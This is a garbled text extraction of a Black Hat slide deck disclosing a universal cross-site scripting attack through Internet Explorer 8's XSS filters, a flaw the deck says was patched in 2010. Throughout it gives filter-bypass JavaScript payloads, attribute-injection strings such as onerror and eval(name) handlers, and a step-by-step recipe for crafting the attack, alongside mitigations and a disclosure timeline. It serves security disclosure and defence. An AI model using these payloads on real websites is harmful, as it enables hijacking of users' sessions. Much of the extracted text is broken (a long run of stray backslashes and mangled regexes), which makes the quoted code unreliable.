Universal XSS via IE8s XSS Filters

the sordid tale of a wayward hash sign

slides: http://p42.us/ie8xss/
About Us

- Eduardo Vela Nava aka sirdarckcat
  - http://sirdarckcat.net
  - http://twitter.com/sirdarckcat

- David Lindsay aka thornmaker
  - http://p42.us
  - http://www.cigital.com
Outline

• Filter Details
• Bypasses
• Simple Abuse Cases
• uXSS Intro
• uXSS Details
• Mitigations
• Disclosure
• Other Browsers
IE8s XSS Filters

the mechanics
Client-side XSS Filtering

- XSS is extremely common
- Reflected XSS is detectable in the browser
  - NoScript addon for Firefox
  - IE8
  - Chrome
Design Goals

"...intended to mitigate reflected / “Type-1” XSS vulnerabilities in a way that does not “break the web.”" -- David Ross

- compatible
- secure
- performant

Detection Process

Three step process

• Examine all outbound requests for XSS patterns using **heuristic filters**

• If heuristic matches outgoing HTTP request then **create dynamic signature**

• If signature matches HTTP response then **neuter response**
Heuristics

- Matches against GET/POST requests
- 23 regular expressions (2 new, 3 updated) hardcoded in mshtml.dll
  - `<script.*?>`
  - `<BASE[ /+	].*?href[ /+	]*=`
- See [http://p42.us/ie8xss/filters02.txt](http://p42.us/ie8xss/filters02.txt)

http://site/p?name=<script>alert(0)</script>
Dynamic Signatures

- One created for each matching heuristic
- Matches against inbound responses
- Blacklisting regular expressions
- Account for server side modifications

```html
<div name="greeting">
    Hello <script>alert(0)</script>!
</div>
```
Neutering Mechanism

- No user interaction, just notify the user
- Replace the flagged character(s) with the hash symbol: #
- Render the altered response

```html
<div name="greeting">
  Hello <script>alert(0)</script>!
</div>
```
Heuristics Breakdown

- Fixed strings (2)
  - javascript:, vbscript:
- HTML tags (14)
  - object, applet, base, link, meta, import, embed, vmlframe, iframe, script(2), style, isindex, form
- HTML attributes (3)
  - "datasrc, "style=, "on*= (event handlers)
- JavaScript strings (4)
  - ";location=, ";a.b=, ");a(, ";a(b)
Filter Bypasses

the joy of blacklisting
Filter Bypass: 1

\[
["\"\"\'\'\']\[\ ]*\((([^a-z0-9~\_\:\'\\"\]]|(in)).*?\texttt{\texttt{location}}).*?=\\n\]

• Detects injections like: \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\
  \\n  

• Is an equal sign required? **Nope :)**
Filter Bypass: 1

["\"\""].*(\^[a-z0-9~_:\'" ]\]|(in)).*?(location).*?

• "+{valueOf:location, toString: [].join,0:'jav\x61script:alert \x280)',length:1}//

• http://goo.gl/sour
Filter Bypass: 1

• How it works
• {
    
    `valueOf: location,`
    
    `toString: [].join,`
    
    0: 'payload',
    
    `length: 1`
  ```
Filter Bypass: 1

- `Array.prototype.join=function(p){
    var r="";
    for(var i=0;i<this.length;i++){
        r+=this[i];
        if(i)r+=p;
    }
    return r;
}
Filter Bypass: 1

- How it works?
- {
  
  `valueOf: location,`
  
  `toString: [].join,`
  
  `0: 'payload',`
  
  `length: 1`
}

Black Hat Briefings
Filter Bypass: 1

- Array.prototype.join=function(p){
  var r="";
  for(var i=0;i<1;i++){
    r+="payload";
    if(i)r+=p;
  }
  return r;
}
Filter Bypass: 1

• How it works?
• {
    
    `valueOf: location,`
    
    `toString:`
    
    `/*returns 'payload'*/`
    
}
Filter Bypass: 1

• How it works?
• {
    
    `valueOf: location,`  
    `toString:`  
    `/*returns 'payload'*/`  
    
    }
Filter Bypass: 1

- On IE this works:
  
  ```javascript
  location("http://www.google.com/");
  ```

- Behavior:
  
  ```javascript
  function location(newLoc) {
    if (!newLoc)
      newLoc = this;
    navigate(newLoc + '');
  }
  ```
Filter Bypass: 1

• How it works?
  • {
    
    `valueOf:
    /*navigate(this+'');*/
    `toString:
    /*returns 'payload'*/
    }

Filter Bypass: 1

```
["\"\"\"]\[ ]*([^[a-z0-9~\-_:\'/\"\]]|\(in\)).*?(location).*?=
```

- "+{valueOf:location, toString:[]}.join,0:'jav\x61script:alert\x280)'\',length:1};//
- http://goo.gl/sour
Filter Bypass: 1

```
["\"\\'\"]\[][ ]*(([\^a-z0-9~-_:\'\"]\[]|\(\text{in}\)).*?(\text{location}).*?==

• "+{\text{valueOf:location, toString:}\
[]].join,0:}'jav\x61script:alert\x280)','.length:1}://

• http://goo.gl/sour
```
Regular Expressions

- Complex
- Write only
- Not perfect
Filter Bypass: 2

\{[\\"\\'\[ ]\*([^[a-z~_:\\'\\"0-9]]|(in))\+.+??{\\(\).*??{\\})}\}

- Detects injections like:
  ```js
  js_xss=";alert(0)\n  ```

- Doesn’t detect:
  ```html
  foo='&js_xss=";alert(0)\n  ```
Filter Bypass: 2

- .*? will match as few characters as possible due to the question mark char
- /b.*?d/ ('ab;bc;cd;de') //non-greedy
  - matches: b;bc;cd
- /b.*d/ ('ab;bc;cd;de') //greedy
  - matches: b;bc;cd;d
Filter Bypass: 2

/\"\"/.\(.*\)/

foo=`&js_xss=`,alert(0)//
Filter Bypass: 2

```
/[''].*\((.*)\)/

foo='&js_xss="',alert(0)//

• Heuristics match the payload:
  ' &js_xss="',alert(0)//

• The real attack is:
  "',alert(0)//   Oops.
```
Filter Bypass: 2

• The same bug works for HTML!

foo=\langle a & xss = \langle x : vmlframe
src=\texttt{payload} >

The heuristic matches in \textit{\langle a}, but the attack starts in \textit{\langle x}

\url{http://goo.gl/KVDl}
Filter Bypass: 3

```javascript
["\"\"\"]\[*(((^[a-z0-9~\-_:\\\'\\"]\])|(in)).+?(({[.]}+.+?)|({[\[\]}}.+.+?}{[\[\]}}.+.+?)}=```

- Detects:
  ```javascript
  ";document.URL='javascript:alert\x280)'
  ```
Filter Bypass: 3

```
[\"\"]\[ ]*\((([\^a-z0-9~_\:\'\"]\])|(in)).+?\(\{[\[\].]+?\}\)|({[\[\}\].}.*?\{[\[\]\]}.*?))\)=
```

• Does not detect:

```
";x:[document.URL='jav\x61script:alert\x280)'
```
Filter Bypass: 3

On IE, backtracking is limited:

```
/x.+?(abc|0.+0)w/('xz0abcw0');
```

- Doesn’t match:
  - `xz0abcw0`

- But it should:
  - `xz0abcw0`
Filter Bypass: 3

Simplified heuristic:
".* (\[.+?\] | \.+.+?) =

Doesn’t match
";[document.URL=asdf]//

But it should:
";[document.URL=asdf]//
Filter Abuse

Attacks made possible because of the filters
Filter Abuse: Simple

When an attack is detected, altering the response before rendering can have unintended consequences.

• Say attacker supplies a bogus GET parameter of &foo=<script>
  • <sc{r}ipt.*?></script> will detect
  • Any script tag on target page will be disabled
Simple Filter Abuse: 1

How is this useful for an attacker?

• Disable client side security features
  – Block Framebusters
  – Escape Facebook's CSS Sandbox
  – Any other JS based security controls
Simple Filter Abuse: 1
Simple Filter Abuse: 2

How is this useful for an attacker?

• Render JavaScript code as HTML

  - `<script>var foo='&lt;img src=x:x onerror=alert(0)&gt;';</script>`

  - `<sc#ipt>var foo='&lt;img src=x:x onerror=alert(0)&gt;&apos;&lt;/script&gt;`
Simple Filter Abuse: 2

• Demo JS rendered as HTML
Review

- An attacker can abuse the filtering mechanism to alter how a page is rendered.
- The filters can be abused to enable XSS in situations where it wouldn't otherwise be possible.
- Can other filters be abused to enable XSS? Of course! (before Jan. 2010 patch)
Universal XSS Intro

but it's just an equal sign...
Equal Signs

- Equal signs are neutered
  - `["\"\'\"]\*(((^a-z0-9~_:\'\")|(in)).*?(location).*?{=}
  - `["\"\'\"]\*(((^a-z0-9~_:\'\")|(in))
    .+?((((\[]\.+?)(((\[\]\].*?[\]\].*？))){=})

Black Hat Briefings
Regular Expression Details

\[ "\" \] \[ ]* ((([^a-z0-9~_:\'\" ])) | (in))
\.+? (((\. \.+?) | (\[\]\.*?[\]\].*?))){=} 

- a quote followed by arbitrary spaces
- the word "in" or anything not in the list
- any characters repeated 1 or more times
- a period or brackets plus arbitrary text
- an equal sign
Matching Strings

\[
["\"\"]\ [ ]*\(([^a-z0-9~_:\'\\\"] )|\text{(in)})\ .+?\(([^.]\.+?) | ([\[\]]*.?[\]\].*?))\}\{=\}
\]

- " , x . x =
- ' ; foo . bar =
- " = a [foo] bar =
- ' * *ANY* . *ANY* =
Fake Injections

- Almost any = sign on a webpage can be neutered with a suitable "trigger string"
  - Easiest candidate is something of the form:
    - ' * *ANYTHING* . *ANYTHING* =
  - Start with target equal sign, find previous period, and then previous quote
- append trigger string to URL:
  - &fake='>anything.anything=
Parsing HTML Quiz

- `<img alt="red planet" src="mars.png">`
- `<img alt="red planet" src="mars.png">`
- `<img alt="#" red planet" src="mars.png">`
- `<img alt="#" red planet" src="mars.png">`
Parsing HTML Quiz

• `<img alt="w x=y z" src="mars.png">`

• `<img alt="w x=y z" src="mars.png">`
  Note: IE8's source code viewer doesn’t highlight these correctly

• `<img alt="x onload=alert(0) y" src="mars.png">`

• `<img alt="x onload=alert(0) y" src="mars.png">`
Universal XSS

Attack of the hash symbol
All Together Now

So...

- The filters can be used to change `=` to `#` by creating a fake trigger string.
- Changing `=` to `#` will allow an attribute value to be parsed as new name/value.
- An attacker would need to control the value of an HTML attribute.
Exploitable Attributes

• Attribute injection must be persistent.
  – Very common on any interesting website.

• Vulnerable page must also have a suitable trigger string.
  – In practice, this is seldom a problem.

• Traditional XSS mitigations do not help.
  – Otherwise secure websites are vulnerable!
Example Injections

• \texttt{x style=x:expression(alert(0)) x}
• \texttt{x/style=x:expression(alert(0));x:}
• \texttt{x onerror=alert(0) x}
• \texttt{x/onerror=alert(0)//}
• \texttt{x onmouseover=location=name x}
• \texttt{x/onmouseover=location=name//}
• \texttt{x onmouseover=eval(name) x}
• \texttt{x/onmouseover=eval(name)//}
What do we need?

- Be inside an attribute.
- How common is that?
  - 99%?
URLs!

- URLs make you vulnerable

```html
<img src="http://0x.lv/onerror=alert(1)//">
```

After filter:

```html
<img src="#http: 0x.lv onerror=alert(1)//">
```
Crafting an Attack

- Identify a persistent injection
  - confirm and insert a suitable XSS string
- View source to identify a trigger string
  - work backwards from target = sign
- Create vulnerable URL to target page
  - append trigger string using a fake GET parameter
Vulnerable: Digg
Vulnerable: Bing
Vulnerable: Twitter
Vulnerable: Others

- Google: *Initial PoC now uses X-XSS-Protection: 0*
- Wikis
- BBCode forums and blogs
- Web-based email services
- Social media sites
- Banks
- and on and on...
Demonstration

- Be sure you are using a vulnerable version of Internet Explorer 8
- Visit http://0x.lv/attr.php and follow the directions
Moving Forward

Mitigations, Patches, and Other Browsers
Mitigations

• From the client side:
  – Use a different browser (not recommended anymore)
  – Disable from settings IE settings panel (not recommended anymore)
  – Only earlier versions of IE8 are affected (prior to the January 2010 update) so...
  – Patch!!!
Should YOU Disable?

• Definitely **no**
• Benefits out way the risks
• If you are concerned about another similar attack becoming a 0-day, then put process into place so that X-XSS-Protection headers can be enabled/tweaked rapidly
Mitigations

• From the server side:
  – Filter user-generated content so that it is benign regardless of the context it is rendered in (difficult to do correctly)
  – Site-wide anti-CSRF tokens that prevent other all types of reflected XSS
  – Make use of the response header opt-out mechanism
X-XSS-Protection

- X-XSS-Protection: 0
  - turns off the filters completely
- X-XSS-Protection: 1; mode=block
  - not implemented in any browser (yet?)
  - leave filters on but block entire page
  - [https://bugs.webkit.org/show_bug.cgi?id=34436](https://bugs.webkit.org/show_bug.cgi?id=34436)
X-XSS-Protection

How should you protect your users?
- Leave filters enabled now that issue has been fixed.
- `X-XSS-Protection: 1; mode=block`
Disclosure Timeline

- Discovery: September 2009
- Notified Google: September 2009
- Notified Microsoft: September 2009
- The Register article: November 2009
- Patch released: January 2010
- Public disclosure: April 2010
Other Browsers

Firefox

- Only in Addons
  - NoScript (good)
  - NoXSS (no comment)

- For now, Firefox thinks this is sufficient.
- We don't.
- Need default protection - must be built in.
Other Browsers

• Webkit is developing XSSAuditor
  – Filter-based
  – Sits between HTML parser and JS engine
  – Will respect the same control headers as IE8
  – To enable: --enable-xss-auditor
## Comparison

<table>
<thead>
<tr>
<th>Browser</th>
<th><img src="image" alt="Internet Explorer" /></th>
<th><img src="image" alt="Chrome" /></th>
<th><img src="image" alt="NoScript" /></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Design</strong></td>
<td>Good</td>
<td>Very Good</td>
<td>Not Bad</td>
</tr>
<tr>
<td><strong>Bypass</strong></td>
<td>Very difficult</td>
<td>Bypassable</td>
<td>Bypassable</td>
</tr>
<tr>
<td><strong>Safety</strong></td>
<td>Not Safe, Better now</td>
<td>Safe</td>
<td>Very Safe</td>
</tr>
<tr>
<td><strong>Compatibility</strong></td>
<td>Very Compatible</td>
<td>Compatible</td>
<td>Not so compatible</td>
</tr>
<tr>
<td><strong>User-friendly</strong></td>
<td>Very</td>
<td>Unknown</td>
<td>Not so much</td>
</tr>
</tbody>
</table>
Questions!!!!

- Do you have questions?
- What are your questions?
- Give me the questions!!
Thanks to...

- Gareth Heyes, Mario Heiderich, Alex K (kuza55) and the sla.ckers.org community for many brilliant ideas on web obfuscation and evasion.

- Jack Ramsdell (MSRC) along with David Ross and the IE8 development team for being great to work with in resolving these issues.

- Black Hat for giving us the chance to present here

- You for attending!!! :)

Black Hat Briefings